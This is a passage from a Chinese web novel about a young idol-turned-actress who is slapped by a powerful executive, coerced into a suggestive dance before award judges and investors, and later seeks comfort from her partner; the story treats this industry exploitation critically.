齐漫姝和宋姿缈对视一眼，忽然不知道该说什么了。 祝星亦低声说：“最开始认识她的时候，我对她真的很差劲，可她还是愿意邀我演《寄明月》。这部剧对我来说太重要了，如果不是这部剧，我都不知道我要在艺域折腾多久才能出头。” “我也跟她闹过很多次，我撒泼，我对她发脾气，我抢她员工的资源，我说很多难听的话。我是一个又坏又邪恶的吸血鬼，但她从不介意这些，她还总觉得给我的不够多。” “爱是相互的，我不想只做索取的人，我也想给她很多金子，我也想让她拿到她拿不到的剧本，我也想推她一把，让她拿到她拿不到的奖。可我现在做不到。” 祝星亦的声音越来越激动，她继续说着：“所以我只能，我只能，我只能通过别的手段去为她做一些事。我也想对她好，我也想成为她的依靠，我不想只被她保护。我想快点成长起来，我想保护她。” 她说着说着，声音越来越低。 齐漫姝意识到不对劲，赶忙拉着祝星亦的手问：“大星，你怎么了？你怎么有点奇怪？” 祝星亦好像没听到似的喃喃：“我现在很幸福，我比我上辈子幸福太多，也成功太多了。我真的很幸福。” 宋姿缈瞪她一眼：“感觉你神神叨叨的，不正常。你是不是忙到精神不好了？要不带你去医院一趟？” 齐漫姝叹道：“如果你想回报苏小姐，你安安稳稳走下去就可以回报她了。等你们顶峰相见，就是对她的回报了。” 宋姿缈看气氛有些压抑，皱眉道：“说真的，你如果想知道你应该怎么回报她，可以亲口问问她，你问她想得到什么。” 祝星亦凄然笑了笑说：“正因为我知道，所以我才……” 她转过头，忽然换了轻松的表情：“好了，不说这些了，我们去逛街。” 齐漫姝有些担心她。 宋姿缈也觉得祝星亦这副模样实在怪得很，趁空闲时间联系了白澜问个清楚。 白澜说可能是工作压力大，自打祝星亦签约艺域，整个人忙得跟驴似的，一刻也停不下来。 宋姿缈觉得祝星亦比驴还勤快，驴都有时间休息呢，祝星亦几乎连轴转，跟个陀螺似的。 远看着祝星亦疲惫的身影，宋姿缈也没心情逛街，抄起手机定了个讲座。 齐漫姝赶忙问：“你定讲座干什么？这什么，什么命运什么的，听名字我就困了。” 宋姿缈解释：“就是要困啊，让她坐进去睡一会儿。” “那不如让她直接回家睡。” “她休息完再继续逛啊，我们都没时间和她玩，你舍得她直接回去吗？” 齐漫姝心想也是。 到了场馆，三人找了后排位置坐下。 不一会儿，场馆里进来很多人。讲师是很有名的麓大梅教授，声音轻缓，非常催眠。 开讲不久，宋姿缈眼皮子打架。 再看齐漫姝，也在打着哈欠。 “祝星亦，你要是困了就睡。”宋姿缈捂着嘴也打了个哈欠，“我们先睡了啊。” 祝星亦嗯了声。 台上的梅教授约莫五十岁，戴着眼镜，齐肩发，西装革履。她优雅沉稳，身姿挺拔。 她身后是配合演讲的PPT，蓝色基调的画面搭配文字让人有了倦意。 整个场馆只有梅教授所站的讲台光亮较多，人们坐在观众席上看她，像在看一部电影。 幽蓝的光映在祝星亦脸上，她盯着PPT上的文字和梅教授的脸，耳畔是梅教授沉静的声音。 “人一共有几条命？有人说，三条。受命，遭命，随命。天元，地元，人元。” “也有人认为，人有两条命。当一个人意识到她只有一条命时，她的第二次生命就开始了。” “人们总用前世今生去解释一些无法回答的问题，或者填补遗憾。所以人们会期待有来生，今生无法完成的事，来生完成吧；今生未能遇到的人，来生再遇见吧。” “可是，朋友们，你怎能笃定，你还会有来生？你怎能笃定，来生，你会记得那个人？你又怎能笃定，来生，你一定可以弥补未了的遗憾？” 梅教授的声音在场馆里回荡，有人举起手机拍下大屏上的文字，有摄影师架着摄像机拍摄下梅教授的演讲。 宋姿缈和齐漫姝已经睡着了，唯有祝星亦还在坐着听演讲。 她看着大屏上的字，慢慢地，那些字像海浪将她包围住。她对上梅教授的眼睛，镜片下的双眸像一泓清泉。 “卡尔荣格说过，潜意识始终未被完全解决的问题，必然在外界以命运的形式反复出现。” “没有完全解决的问题，会在命运中反复出现，会反复提醒你，直到你真正战胜它。” “不要逃避，不要害怕，你要直面你的命运，直面你的恐惧，直面你不敢击败的困难。” “你要勇敢回应命运给予你的所有考验。” 听着听着，祝星亦像掉进一个漩涡。 耳边传来一阵尖锐的鸣叫声。 她看着梅教授的眼，只看到反射着光芒的两片镜片。 渐渐地，整个场馆好像只剩两个人。 一个是祝星亦自己，一个是仍在讲台上对着话筒说话的梅教授。 “你不要过分对未来抱有期待，你要清楚自己不能做什么，而不是能做什么。” “你要……” 困。 听着，祝星亦坚持不住，闭上了眼。 哗哗—— 忽然，她听到了海浪的声音。 还有一阵耳语。 [星星，你还记得我们第一次见面吗？］ [麓城春三月，时临鹿芜观，与卿初相识］ [会的，我会去接你的，星星］ “鹿芜观……”她皱眉喃喃着。 像梦一样。 一阵嘈杂声吵醒了她。 讲座已经结束了。 宋姿缈伸了个懒腰，“睡得好饱。” 梅教授在讲台那处和观众聊天，摄影师搬着东西过去拍摄。 齐漫姝揉揉眼问祝星亦：“大星，你要不要去跟梅教授交流交流？” 祝星亦摇头：“不用了。” 三人起身出去，宋姿缈去了趟厕所。祝星亦转过身子看了眼正和梅教授一起交流的人群，她拍拍齐漫姝：“老漫，我先回去一趟。” 过了会儿，祝星亦回来了。 齐漫姝问：“你去问梅教授问题了吗？” “问了。” “问的啥啊。” “问的……”祝星亦转过身子回头看了眼讲台，大屏PPT上显示的只有两个字：命运。 这时，宋姿缈从洗手间出来了。 宋姿缈抱怨排队的人真多，嚷嚷着女厕所能不能多一点，齐漫姝跟着附和两句。 祝星亦也跟着说，是啊，为什么女厕所那么少啊，女厕所能不能多一点，卫生巾能不能便宜一点，女装质量能不能好一点，能不能让女明星多穿一点。 三个人叹着气走出演讲厅。 齐漫姝跑到落地窗那处说：“太阳还是好大，大星你好些了吗？你要是不舒服的话，我们送你回去。” 祝星亦揽着她们的脖子摇摇头：“我很好，我好着呢。” 白澜来接祝星亦时，祝星亦和两人说再见。 看她脸上洋溢着轻松的笑，白澜心也放了下来。 还是要多和女朋友以及朋友多聊天说话呢。 有时白澜恨不得让苏寄欢把祝星亦揣兜里，这样她就不会看到祝星亦疲惫、沉默的样子，只会看到开心的祝星亦。 载人回去，路上白澜问祝星亦玩得开不开心。 祝星亦抱着两人送给她的娃娃说：“开心，很开心。” 白澜也跟着笑说：“对嘛，多和朋友说说话，聊聊天，不开心马上烟消云散。” 祝星亦抱着怀里的娃娃嗯了声。 到小区*车库，刚停好车准备按电梯上楼，白澜瞥到两个人影。 那两个人走了过来。 祝星亦等着电梯顺着白澜的目光看去。 她抓紧手里的娃娃，呼吸一滞。 晏璟霖带着身边的女人走过来，高跟鞋在空旷的车库发出一连串的哒哒声。 像清脆的警钟敲在耳畔。 高跟鞋在电梯前停下，晏璟霖扬着下巴俯视祝星亦，声音轻淡：“祝星亦，我等你很久了。” 叮—— 电梯到了。 晏璟霖挑起眉头：“邀我们上去坐坐，如何？” 第104章 听话，知道吗？ 晏璟霖推了下眼镜，镜片下是深黑的眸子。 齐肩黑发，黑色深V西装长外套，短皮裙黑丝高跟鞋，像危险的毒药。 她站了过来，淡淡的雪松味扑面而来。 令人不适的味道。 祝星亦抱着娃娃捏紧手指退了一步。 看着眼前的晏璟霖，和晏璟霖身旁的女人，白澜不知如何是好。 白澜见过晏璟霖几次，也稍稍了解过，而晏璟霖身边的女人，白澜没见过。 陌生女人低马尾，深灰西装套装，沉静万分。 白澜下意识瞄向祝星亦，祝星亦抱着娃娃犹豫片刻道：“白澜，你下班吧，我和她们有事要谈。” 晏璟霖看过来，看得白澜头皮发麻。 白澜应了声好，转身离开。 狭小的电梯空间只有三个人。 祝星亦按完楼层转过身，那两个女人一言不发地看着她。 本想要问一句对方是谁，电梯门开了。 祝星亦抿着唇出来。 她抱着娃娃走到自己房门口按了下指纹，开门进去放下娃娃，在两人的视线下给两人倒水。 两人坐在沙发上，晏璟霖跷着二郎腿打量这间屋子，最后目光落在祝星亦身上。 很快，晏璟霖抬手介绍身边的女人：“这位是唐小姐，唐清晚。” 祝星亦走过去，和唐清晚握手。 唐清晚是[晏影］即将筹备的电影《孤独诗人》的制片人，她过往的作品有叫好的也有叫座的。 “说到商业片，我想近期暑期档的两部片子你应该听过。”唐清晚说了两个电影的名字，都是暑期档热门电影，“文艺片的话，既然拍出来就是为了拿奖。国外的我保证不了，要看脸，但国内的……” 她低头笑笑，偏头问晏璟霖：“要不要抽空带她见一见？” 晏瑾年歪了下身子收起腿，轻轻瞥了眼站得规规矩矩的祝星亦道：“可以，但最近没时间，有空办个宴会一起聊聊。” 唐清晚点头：“可以。” 她转过头看向祝星亦，笑得毫无攻击性，拍了拍身边的空位。 祝星亦走过去坐下。 唐清晚仔细打量了身侧的祝星亦，五官明艳，妆容清淡。 奇形怪状的配饰，复杂的短上衣、短裙堆满了丝带，及膝蕾丝中长袜，脚下穿着芭比娃娃才会穿的高跟鞋。 唐清晚看不懂祝星亦的打扮，太洋气，不够乖。不过这些小爱豆都是这个打扮，祝星亦穿着也好看，腿长身材好。 她缓声道：“《孤独诗人》这个本子很好，苏寄欢也在抢这个本子，但这个本子是留给你的。” 晏璟霖扫了眼祝星亦的表情。 祝星亦掐着指尖沉默片刻道：“谢谢你们。” 唐清晚点点头继续说：“我们计划冲金穗奖、华夏电影艺术节奖，这两个奖，起码要拿下一个。过段时间会带你去宴会上认识一下评选奖项的各位老师，你好好表现，奖就是你的。” 祝星亦不知道好好表现是指什么，两人忽然笑了起来。 晏璟霖懒懒倚着道：“你且放心，我会遵照协议内容，到时候你只需要跟着我，我让你做什么你就做什么好了。” 祝星亦了然。 聊完这些，晏璟霖没走，坐在沙发上又和唐清晚谈了些什么。 祝星亦坐在她们旁边听着，多是[晏影］影视工作室未来要拍的影视还有一些商业合作的内容。 祝星亦听到苏寄欢的名字。 她们在祝星亦面前并不避讳这些，笑着讨论是怎么把[苏盛］想要合作的对象抢走的，笑着讲某年苏寄欢实力惊人没拿到某个奖，却被晏瑾年轻松拿到。 唐清晚笑说：“评委组里十个人，有八个都是和晏氏交好的，苏寄欢能拿到才怪。” 晏璟霖点了根烟，身子斜倚着吐出烟雾，“但瑾年还不知足，我给了她那么多，她还是什么都想要。” 晏璟霖知道晏瑾年几斤几两，光凭晏瑾年的演技，想要击败苏寄欢，很难。 好在这些奖本来就不止是靠演技才能拿到，没点人脉和背景，靠实力一辈子也别想得到。 等晏瑾年影视剧大满贯，苏寄欢怕是还有好几个奖冲破脑袋也拿不下来。 烟头明灭，晏璟霖弹了弹烟灰。 烟灰落在干净的地板上。 祝星亦盯着烟灰握紧拳头。 “她怎么说都是你妹妹，惯着点也没什么。”唐清晚说。 晏璟霖也拿晏瑾年没办法，除了惯着，也没有其他解决办法。 “是啊。”晏璟霖说，“我只能惯着她，但我也希望她明白，没有我为晏氏操劳，她和她的[晏影］根本走不了那么远。她的想法太简单了，以为自己带着[晏影］就能安安稳稳走下去。她可不知道这里面的规则有多少，稍有不慎，就会陷入一场无妄之灾。” 唐清晚理解晏璟霖的为难，拍拍晏璟霖的手问：“晏阿姨身体还好吗？” 修长的手指夹着烟，晏璟霖皱着眉浅吸一口，另一手随意搭在沙发侧，她斜着坐，腿因为黑丝更显纤细修长。 烟头猩红明灭，缈缈烟雾中，她偏了下头，上翘的眼尾裹挟着愁念。 弹掉烟灰，晏璟霖叹口气说：“说起来，我最担心的还是我妈的身体。晏氏这块肥肉，太多人盯着了。如果我妈不在了，我扛不起晏氏，晏氏就会被吞得连骨头都不剩，瑾年那小小的[晏影］又怎能独善其身？” 自打晏璟霖接手集团，为了晏氏的稳定发展，她每天都要和合作伙伴以及其他集团公司周旋，每一次商务谈判、每一场合作签约，背后都隐藏着无数的算计与陷阱。 多少合作伙伴表面上和她交好，背地里却在觊觎晏氏的核心资源，试图在合作中谋取最大利益，稍有机会就想咬下一块肉。 坑她的害她的不计其数，她还要一直为晏瑾年在娱乐圈铺路。 路一铺，便是多年。现在[晏影］转型面对巨大的压力，晏瑾年又处理不好这些事，她只能亲自上手帮忙。 但晏瑾年不懂她的疲惫。 晏瑾年只会抱怨她为什么不分出晏氏股份，也抱怨她为什么要亲自处理[晏影］转型的问题。 唐清晚跟着叹息：“等她再成熟点，肯定会懂你。” 晏璟霖冷哼一声：“她都三十多了，她还能怎么成熟？她永远长不大吗？” 说着，她斜睨了祝星亦一眼。 她还是很在意那个蠢妹妹因为喜欢祝星亦而干出的荒唐事。 晚点，二人起身。 祝星亦跟着站起来送客。 走到负二楼停车场，晏璟霖给唐清晚打开车门。 绕回驾驶座，晏璟霖走到祝星亦面前上下看了几眼。 祝星亦问：“怎么了？还有事？” 晏璟霖低眸看了眼祝星亦的衣服说：“等宴会那天，不要穿这种风格的衣服，那些人不会喜欢的，太野了。” 祝星亦疑惑：“野……吗？” 这身衣服有什么野的？不就是普通衣服吗？ 晏璟霖轻声说：“听话，别招惹什么麻烦。我会给你选点规规矩矩的礼服，你穿上等我接你就好。” “不用了，我……”祝星亦说着，晏璟霖警告的目光投过来，她只能点点头说：“好。” 目送车离开，祝星亦回到屋子清扫一地烟灰，喷了好多空气清新剂才祛除屋子里的烟味儿。 她来到透明展示柜前盯着被放在最中间的金苹果看了好久。 干净的展示柜，一尘不染，散发着耀眼光泽的金苹果明晃晃地闪着人眼。 祝星亦深吸一口气转身离开。 金苹果。 漂亮的金苹果。 // 《春风》剧组因有苏寄欢在让祝星亦安心不少，但祝星亦总担心自己扛不起来袁兰这个无比坚韧的女主。 苏洁的原创剧本，本就是为苏寄欢量身打造，现在苏寄欢把女主让给她，她…… “别怕，没事。”苏寄欢调整祝星亦的发型轻声说，“你按照我给你示范的演就好，你可以的。” 自拿到剧本后苏寄欢便夜以继日地给祝星亦讲戏，祝星亦不敢懈怠，她也怕撑不起这个角色。可一想到苏寄欢把这个好角色让给她，她内心无比煎熬。 摄影师就绪，工作人员把小院的物品摆放好退出来。祝星亦站在苏寄欢身旁，苏寄欢拍拍她，又轻推了她一下，“快做准备，马上要拍第一个镜头了。” 她们穿着上个世纪80年代的衣服，苏寄欢梳着马尾，祝星亦梳着双马尾麻花辫。 院子里有走地鸡勾勾哒，祝星亦拽着衣角往苏寄欢身边走了半步。 苏寄欢在剧中饰演女主袁兰的姐姐袁梅，剧本中，袁梅身为长姐，为袁家几个姐妹付出了很多，但后来因为理想不同，袁兰和袁梅决裂分别，直到多年以后两姐妹才把矛盾和心结说开。 苏寄欢按住祝星亦的肩头，让她不要再往自己身边走了，“你快去里屋，马上要拍了。” “苏老师……” 看祝星亦脸色不好，苏寄欢握住她的手问：“怎么了？你紧张吗？要不我再陪你试一次戏？” 温温热的手包住祝星亦的手，她摇摇头笑着说：“没什么，我会努力的。” 苏寄欢摩挲着她的手背，靠近她一点，低头轻吻她的额头。 “别怕，我在呢。”苏寄欢捏了捏她的手，“快去准备。” “嗯。” 多日的拍摄，剧组难得放了短假。苏寄欢想着趁小假期带祝星亦见一见自己的朋友，祝星亦说没什么空，下次再约。 苏寄欢能理解祝星亦，各种代言活动、剧宣需要祝星亦前往，时间紧迫，她不能缠着她不放，“嗯，好，反正她也刚回国，我先带她玩一玩。你若是有空了就来我家找我，我随时欢迎。” 晚六点，祝星亦刚换好晏璟霖给的衣服出来，披着大衣的女人站在她门前。 晏璟霖俯视着她，淡声道：“亚加斯酒店，我带你一起去。” 祝星亦摇摇头：“不用了，我让白澜送我过去。” 晏璟霖没有推辞，跟着祝星亦一起到负二楼。晏璟霖瞄了眼摩根石粉的闪灵挑眉问：“好车，我妹妹送你的吗？” 祝星亦蹙眉道：“不是。” “那是苏寄欢？”晏璟霖问，看祝星亦的神色，她确定了，踩着锋利无比的高跟鞋站到祝星亦身边轻笑一声：“你这个吸血鬼做得很称职，我不服不行。” 祝星亦扬眉笑说：“您高估我了，我还没那么大的本领站在那里就能把所有珍贵的宝贝收入囊中。” “你好好表现，听我的话，我什么都能给你。”晏璟霖俯身凝视祝星亦，雪松的味道太过刺鼻，祝星亦下意识退半步。 晏璟霖转了下身子，侧眸说：“看你这几天休假，不用去剧组，跟我妹妹吃顿饭怎么样？” “我还有……” “我让容羽珍把你的通告都先推了，如果这几天假期实在没时间，等你拍戏的时候抽个时间跟她吃顿饭。”晏璟霖打断她的话，“我那个傻妹妹那么喜欢你，希望你能给她点好脸色。就看在我的面子上，可以吗？” 许久，没听到同意的答案。 她看祝星亦还是拒绝的神色，靠近些，左右看看祝星亦的脸蛋，她眉心微动，声音淡漠：“你已经贵到这种地步了吗？” “这是协议上……” 啪—— 一声脆响带着凌厉的风声重重落在祝星亦脸上。 她被打得偏过脸去，身体摇晃了下。 精致妆容上瞬间浮起一个鲜红的巴掌印。 “不要觉得自己了不起，我妹妹喜欢你的时候，你是一颗镶嵌在她袍子上的钻石。等她不喜欢你的时候，你只是被丢弃在巷子里的废铜烂铁。”晏璟霖居高临下地俯视呆愣的祝星亦，嘴角勾起一抹嘲讽的弧度。 很快，她拿过化妆包给祝星亦补妆。 她用力把粉扑在祝星亦脸上，声音冰冷：“听话点，我什么都给你。再回答我一次，愿不愿意跟瑾年吃饭？” “愿……意。” 晏璟霖满意地把粉扑塞在祝星亦手里，转身离去。 久久，白澜赶过来开车送祝星亦到酒店。 “星亦，你参加这个宴会有跟苏小姐说吗？”路上，白澜发问。 “没有。” “那……” “我没有必要事事向她报备。”祝星亦揉着有些疼痛的太阳穴说，“我很晚才出来，你大概十点再来接我。” “好。” 宴会开始，晏璟霖带着祝星亦步入大厅。 身着华服的宾客们三五成群，轻声交谈着。 祝星亦见了所谓的评奖人，那几个人年纪不小，端着名贵的酒看了过来。她走了过去，在晏璟霖的注视下，恭敬温顺地跟这些人聊天。 酒不知道喝了多少，祝星亦仍笑着夸赞恭维这些人。 “听说你是麓舞第一，舞蹈应该不错？”有人冲祝星亦举起酒杯。 晏璟霖扬眉笑道：“自然，她也是选秀冠军，舞蹈不会差。” “爱豆转行演员，你很聪明。你也很会抓住机会，出道不久就去演戏了。”那人称赞，“苏寄欢也挺会提携你，不过想要抱一棵大树，还是要抱一棵根系深根基稳的，否则自身难保，还能护得住谁？” 那人跟晏璟霖举杯，晏璟霖笑而不语。 不一会儿，祝星亦站到晏璟霖身边放低杯子碰了杯，含笑道：“您说得很对。” 说说笑笑，又有人过来聊天。那人打量了两眼祝星亦，缓声道：“总觉得这里不够热闹，哦，我记得祝小姐还是个爱豆。” 祝星亦愣了下，马上应道：“对。” 她有不祥的预感。 “我这里还有个品牌方，本来准备给另外一个人代言，叫……”那人说了个名字，比祝星亦咖位稍高点，“如果祝小姐能给我们献一支舞，这个代言就给你，怎么样？” 晏璟霖晃晃酒杯点头看向祝星亦说：“她当然可以，最近有个很火的舞蹈，叫什么来着？” 有人忙答：“叫《桃色》，祝小姐肯定会跳吧？” 晏璟霖代祝星亦回答：“她肯定会跳。” 偏过头，冲祝星亦挑了挑眉：“来吧，祝星亦。” 祝星亦浑身上下透着拒绝。 《桃色》这个舞蹈非常瑟。情，每个肢体动作都充斥着挑。逗和勾引。要跪地上双腿开合，要趴在地上扭动臀部，还要抚胸顶胯展示满是性暗示的手部动作。 在这里当着这么多人的面跳《桃色》，那和自己脱光了供人观赏有什么区别？ 很快，晏璟霖歪着头看向她，薄薄的唇微微抿起，眼角也弯着，似在警告她。 这种场合下，说一句拒绝等于拒绝前方所有的路。 “好。”祝星亦放下酒杯。 晏璟霖接过她的酒杯，在她耳边轻声说：“如果你改动作或者少做一个表情，他们也会不满意的。” “知道了。”祝星亦咬着牙说。 整个宴会厅的人迅速围拢过来，把走出人群站在中心的祝星亦困在中间。 音乐声骤然响起，祝星亦深吸一口气，缓缓抬起手臂。 [oh～Holdme］ [Coquettishbaby］ [oh～Wettingme] [HotBaby] …… 宴会厅只剩音乐声，还有祝星亦高跟鞋和地面接触的声响。 无人说话，所有人的目光都在祝星亦身上。 随着音乐的推进，她不得不做出那些充满暗示的动作。 她跪下来双腿开合，趴在地上扭动，手缓缓抚上胸口，再顶起胯部。 穿礼服跳不太方便，裙子比较长，跳起来姿势不太好看，好在不会走光。 身后传来一阵低低的窃笑声。 她的眼神扫过周围的人，那些人的目光像在看一只动物。 无数只蚂蚁在她的皮肤上爬来爬去，这让她恶心又愤怒。但她只能咬紧牙关强忍着内心的痛苦，脸上还要挤出虚假的、充满勾引意味的表情。 一群事不关己的看客高高在上俯视着她，她被关在笼子里扭动着身体。脚扭了下，痛得很，好在她表情管理很强，迅速调整了姿势继续跳。 这里无人在乎她在想什么。 她身上已经标了价格。 那些人打量她，挑选她，想着她可以卖出什么价钱。 想必他们已经给她重新估算了价格，所以现在是测验她的环节。 够听话吗？ 够温顺吗？ 够资格卖出更高的价钱吗？ 她看到那些人露出满意的笑容，她知道，够了，应该够了。 跳完最后一个舞步，祝星亦起身微笑，那些人鼓掌夸赞她跳得真不错。 “一个代言买祝小姐一支舞，很划算。”让她跳舞的人笑着说，转而和晏璟霖对视一眼，代言稳了。 祝星亦去拿酒，晏璟霖跟她耳语：“你表现得很好，我很满意，而且还白拿一个代言。” 祝星亦颔首不语。 她的舞蹈给整个宴会厅的人助了兴，舞蹈结束后那些人继续热闹聊天。 晏璟霖带着她去跟其他人谈话，无一例外，陪笑。 祝星亦记得自己第一次跟那么多大人物接触是在《寄明月》的一个宴会上。 她怯懦地躲在苏寄欢身后，苏寄欢看她太局促，赶忙拍拍她的背安抚她，然后耐心地给她介绍那些大人物是谁。 她只需要躲在苏寄欢身后，苏寄欢可以为她应付一切。 现在她喝着酒应付这些人，脸上要时刻保持微笑，嘴角咧到固定的弧度，眼中始终堆满对对方的[崇敬］[敬意］。 像一个穿上华丽的衣服的虚假人偶，不停地摆出讨好的动作，等待对方施舍宝贵的资源。 又一口酒下肚，凉得她直皱眉头。 苏寄欢是不是也会遇到这些事？是不是也要毫无尊严地展现自己？苏寄欢为什么什么都不说？为什么不卖惨？为什么不多讲讲爬上去有多辛苦？ 她感觉有些闷，借故到一旁一个人喝酒。 有人走过来跟她碰杯，打量了她几眼夸赞：“你刚刚跳的舞真性感，长得漂亮身材又那么好，难怪这一路走来那么顺畅。” 祝星亦望着那双眼睛里的戏谑和嘲弄，攥紧拳头含笑说：“谢谢夸奖，我确实很幸运。” 那人有些夸张地笑了，视线向下瞄了瞄说：“嗯～确实幸运，也不知道谁那么有福气。” 令人不适的视线。 祝星亦笑而不语。 那人和她碰杯道了句失陪。 祝星亦看到那人去其他地方后时不时往她这里瞟，不一会儿和其他人笑了起来。 几个人的视线都往她身上投去，看到祝星亦看过来，马上捂着嘴说着什么。 侍者过来，祝星亦讨了一杯酒喝下。 酒喝太多了，胃很难受。 她低头看自己的脚。 疼痛难忍，但她要一直保持站立的姿势。 她拧着眉头单脚站了会儿，晏璟霖示意她过去。 祝星亦保持正常走姿过去，晏璟霖介绍对方是某文化公司的总裁。 晏璟霖敬酒后看了眼祝星亦，祝星亦温顺地举起酒杯。 笑着聊了许久，祝星亦捂了下肚子，又快些站直。 直到走出宴会厅大门，那股沉重的疲惫终于从身体里离开。 脚踝已经肿了，走动一下都是钻心的痛。 晏璟霖和那些人聊完天出来找到祝星亦。 昏暗的灯下，祝星亦身影单薄，明艳的五官隐在阴影里，眉眼低垂，莫名透着一股坚韧冷冽。 “你今天表现很好，我很满意，他们也很满意。放心，等《孤独诗人》拍完拿去送选奖项，最佳女主角肯定是你的。”晏璟霖踩着高跟鞋走过来，“我是不会骗你的，这个奖苏寄欢都没有拿到过，当然，她以后也拿不到，但你肯定可以拿到。” 晏璟霖走近祝星亦，注视了她些许时间，慢悠悠道：“等你的《春风》拍完就进组《诗人》，我会跟剧组那边打声招呼，你安心拍戏就好。哦，对了，我这边还有一些你可以客串的角色，去露个脸没什么问题吧？” 祝星亦问：“镶边角色？” 晏璟霖勾唇一笑：“哪能这么说，你只需要露个脸，浪费不了你多少时间，对你曝光也有好处，何乐而不为？那些片子都是[晏影］的熟人的片子，需要一些大火的小花走个过场，给他们撑撑场面。” 祝星亦滞住一瞬。 好耳熟，上一世，晏瑾年也跟她说过一模一样的话。 熟人的片子，露个脸走个过场，帮忙撑撑场面，浪费不了多少时间。 晏瑾年让她在各个剧组做镶边角色，她便被迫当了几年的背景板。 后来《祈星海》的导演找到她，她才演了人生中第一个女主。如果不是《祈星海》，她可能只能遵照晏瑾年的要求演一辈子的炮灰配角。 每当晏瑾年要她去演配角时，她都不乐意。晏瑾年总说，那些事她决定不了，又说，演配角已经很好了，还想要演什么，这些资源不够吗？ 祝星亦那时会跟晏瑾年吵架，她质问晏瑾年怎么决定不了，分明是不想对她上心。 现在，现在…… 有些事情，晏瑾年决定不了？ 那是谁决定的？ 为什么演了《祈星海》并拿奖之后，晏瑾年对她态度冷淡。为什么她想要从风荇离开，想签其他公司，晏瑾年就不理她了。为什么不久后，她就被杀了。为什么这一世，晏瑾年什么都会给她，但晏璟霖一来，一切都由晏璟霖处理，晏瑾年连话都说不上了。 为…… 为什么？ 祝星亦望着晏璟霖一动不动。 一团浓厚的雾挡住了愈渐发冷的太阳，有些东西呼之欲出。 第105章 你知道雏鸟情结吗 晏璟霖看她愣住，脸色紧绷起来，“这是协议里的内容，怎么，不愿意？” 长睫颤动，祝星亦回过神儿道：“愿意。但是……” 晏璟霖知道她有顾虑，忙说：“放心，不会让你无效曝光，我会联系艺域给你请个新的运营团队放你工作室。你会得到更好的运营，不会像以前那样被骂还要自己清理黑评。” 祝星亦神色缓了缓。 晏璟霖见她的模样，饶有兴趣地哼了声，“贪得无厌的女人，也不知道要给你多少东西才能喂饱你。” 祝星亦笑笑，没吭声。 等人走得差不多了，祝星亦才去停车场。白澜没在车里，看了下手机上的时间和消息，白澜要等半个小时后才回来。 祝星亦打开车门坐进去。 车门合拢的刹那，心脏的疼痛放从胸口传来。 耳畔响起了那群人的笑声，还有那些人恶心的视线。 好痛。 四肢好痛，头好痛。 这就是她想要去的地方吗？这就是她想要成为的人吗？ 曾经十分向往的圈子，现实便是如此吗？ 十九岁那年，她赢得决赛第一的成团夜，满天飞舞的彩花是对她才华和努力的赞扬，台下如海浪的掌声与飞扬的彩花为她的前程铺路。 拿着第一名的奖券走入这里，却发现，这里对身无一物的她来说，只是一个吃人的牢笼。 指节抵住嘴唇的瞬间，有温热的液体漫过手背。 待她惊觉时，泪水已经噼里啪啦砸下来。 这样的眼泪，在她生命中已经出现过无数次。 七八岁那年她不肯被老师安排到第二排跳舞，课上跟老师顶嘴。 她说，我跳得那么好，为什么要被安排到第二排。 老师说，你个子比那些男孩子高点，站在前面不好看。 她不服，和老师争执半天，后来妈妈带她回家里教训她。她推门而出，踩过一小片落下的缫丝花朝屋后的山上跑。 妈妈把她捉回来让她跪在刺梨树前，她气愤地摘下缫丝花，树枝上的刺把她手指扎破了，血珠滴落到掌心。 她低头看看自己的掌心，这个手掌握住过很多奖杯。 那时，她骄傲、不屈、坚韧。 现在，她的掌心装着自己的眼泪。 她的骄傲早已被踩在脚下。 比那些被踩碎的缫丝花还要不堪。 白澜拉开车门时，看到祝星亦蜷在副驾驶座上。 “星亦，要回去了。”白澜伸手轻拍她泛着薄汗的手背，触到一片濡湿的凉意，“星亦……你怎么了？” 祝星亦的睫毛颤了颤：“我今天在宴会上看到了眼熟的人。苏老师为工作室揽了很多投资，那些人也是准备投资的人，但在宴会上，晏璟霖跟他们聊了聊，他们打算放弃投资苏老师。” 白澜突然注意到她攥着的手指骨节发白，似在隐忍着什么。 “那怎么办，苏小姐她”白澜话音未落，祝星亦半阖着眼叹口气。 “我也没有办法。我帮不了她。”祝星亦忽然笑起来，眼角的泪浸在昏暗的光线里，“她想要的剧本在我手里，我给不了她。她可以把她的女主角让给我，我却不能让给她。” 车内安静了会儿。 祝星亦深吸一口气说：“白澜，你知道吗？我以前很想在这里出人头地，但我现在发现我很讨厌这里。” “我以前把爬上去当做我唯一的目标，我想把我失去的全部夺回来，我甚至想着即便做一个卑鄙的人也没有关系，但……但……这就是我想要的吗？” 白澜很担心。 她觉得祝星亦越来越不对劲了。 白澜：“星亦，要不休息一段时间吧，你太累了。” 随后，白澜听到祝星亦小声说了些话。 白澜没听清，“什么？” 祝星亦摇头：“没什么，回去吧。” “好。” 劳斯莱斯闪灵驶进夜色，路过繁华的街道，白澜踩下油门时瞥见商场大屏上的那面巨幅广告，黑天鹅绒裹着的人形立在云端，腕间缠绕的宝石正在虹吸整座城市的星光。 巨幅广告牌上的祝星亦的瞳孔被后期过度修调，平时剔透的琥珀色眼睛像虚假的bjd娃娃的眼珠子。 现在的祝星亦也像一个精致的玩偶，浑身绑着粉色丝带，被装在更漂亮的盒子里。 白澜好像对祝星亦也越来越陌生。 以前的祝星亦有活人气息，现在不是了。 导航机械女声报出“静嘉大道”，不久，苏寄欢家到了。 白澜尚未熄火，便见苏寄欢踩着拖鞋跑出来，睡裙下摆沾着夜露。 “星星！”苏寄欢跑过来拍打车窗的掌心泛着水红，呼吸在玻璃上呵出一小片白雾。 车顶灯在祝星亦眼底投下残影，隔着氤氲的光，她看见窗外的人担忧的神色。 祝星亦仓促地转过脑袋看向白澜。 白澜眉间舒展了许多，“下车吧星亦，我想你需要和你的苏老师聊一聊。开心也好，不开心也好，你都要和她聊一聊。不要把一些事憋在心里，无法解决的事就说出来一起解决。你今晚说的事我无法帮你，但苏小姐应该可以。你要对她充满信任，你一定要跟她说出来。” 祝星亦怔怔地望着白澜出神，白澜拉下车窗。 苏寄欢担忧的声音传来：“星星，你怎么了？你去哪里了？怎么喝酒了？你还好吗？” 夜色在睫羽间轻轻震颤，祝星亦蜷缩的脊背忽然绷直。 九月的风卷着梧桐叶掠过车顶，站在车门旁的女人眉间蹙起的褶皱比夜色更深。 月光忽然变得粘稠起来，琥珀在融化，无声对泪水尽数流下。 爱人的皎洁，比掠过耳际的晚风更绵长温柔，却让她的喉间泛起铁锈味的疼。 她踉跄开门跌出去紧抓住苏寄欢的手，轻轻喊了声苏老师。 